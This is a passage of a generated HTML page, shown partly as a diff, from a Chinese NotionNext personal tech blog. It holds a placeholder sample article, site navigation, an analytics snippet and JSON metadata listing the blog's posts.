00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-callout notion-gray_background_co notion-block-493c55bd44414c1b9ed33727291c7165"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="😀">😀</span></div><div class="notion-callout-text">这里写文章的前言:
 一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。<div class="notion-text notion-block-231b50b760fb44fb89782b12221a700a">可以说说你的故事:阻碍、努力、结果成果,意外与转折。</div></div></div><div class="notion-blank notion-block-caf1ea9d092641f48e85090005e6e233"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-4953106473d74a2a806aaa52e6c02baf" data-id="4953106473d74a2a806aaa52e6c02baf"><span><div id="4953106473d74a2a806aaa52e6c02baf" class="notion-header-anchor"></div><a class="notion-hash-link" href="#4953106473d74a2a806aaa52e6c02baf" title="📝 主旨内容"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">📝 主旨内容</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-36a0c353d7a84ae6a4e91e2d9f605fc1" data-id="36a0c353d7a84ae6a4e91e2d9f605fc1"><span><div id="36a0c353d7a84ae6a4e91e2d9f605fc1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#36a0c353d7a84ae6a4e91e2d9f605fc1" title="观点1"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">观点1</span></span></h3><blockquote class="notion-quote notion-block-d0c4d00d5e5f4f6abbbb4fafe04153bf"><div>引用的话语</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-96ece8508ea74392aa145652d12c0e85" data-id="96ece8508ea74392aa145652d12c0e85"><span><div id="96ece8508ea74392aa145652d12c0e85" class="notion-header-anchor"></div><a class="notion-hash-link" href="#96ece8508ea74392aa145652d12c0e85" title="观点2"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">观点2</span></span></h3><blockquote class="notion-quote notion-block-4fa6f1e15a734b50a188f9ef9f3870ad"><div>引用的话语</div></blockquote><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-0824d5eaeb3148ac939501a217b32b7d" data-id="0824d5eaeb3148ac939501a217b32b7d"><span><div id="0824d5eaeb3148ac939501a217b32b7d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#0824d5eaeb3148ac939501a217b32b7d" title="🤗 总结归纳"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">🤗 总结归纳</span></span></h2><div class="notion-text notion-block-c12fce832492406dae08a07b3da800c0">总结文章的内容</div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-033e1eff51114814a316b18a825cd37f" data-id="033e1eff51114814a316b18a825cd37f"><span><div id="033e1eff51114814a316b18a825cd37f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#033e1eff51114814a316b18a825cd37f" title="📎 参考文章"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">📎 参考文章</span></span></h2><ul class="notion-list notion-list-disc notion-block-9da00a5e032442dd951e4a7f0357a394"><li>一些引用</li></ul><ul class="notion-list notion-list-disc notion-block-1da3518565c343349a034627538afd8a"><li>引用文章</li></ul><div class="notion-blank notion-block-4ccb751e43d24d4abce28fcfe66ecf1a"> </div><div class="notion-callout notion-gray_background_co notion-block-5bee45389df1457d969867f05ee5fb11"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="💡">💡</span></div><div class="notion-callout-text">有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~</div></div></main></div><div class="m-1 overflow-x-auto"><div class="flex w-full md:justify-end"></div></div><div class="flex justify-between"><div></div></div><section class="text-gray-800 dark:text-gray-400 h-12 flex items-center justify-between space-x-5 my-4"><a class="text-sm cursor-pointer justify-start items-center flex hover:underline duration-300" href="/article/example"><i class="mr-1 fas fa-angle-double-left"></i>示例文章</a><a class="text-sm cursor-pointer justify-end items-center flex hover:underline duration-300" href="/article/240325-ollama">mac体验ollama本地大模型<i class="ml-1 my-1 fas fa-angle-double-right"></i></a></section><div id="comment" class="comment mt-5 text-gray-800 dark:text-gray-300 "></div></section><div id="gitbook-toc-float" class="fixed top-0 right-0 z-40 md:hidden"><div class=" -mr-72 animate__slideOutRight overflow-y-hidden shadow-card w-60 duration-200 fixed right-1 bottom-16 rounded py-2 bg-white dark:bg-hexo-black-gray"><div class="dark:text-gray-400 text-gray-600 h-96 p-3"></div></div></div><div id="right-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="pt-10 pb-6 text-gray-400 text-sm border-b"><i class="fa-regular fa-clock mr-1"></i>Last update:  <!-- -->2021-07-02</div><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
@@ -6,4 +6,4 @@
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 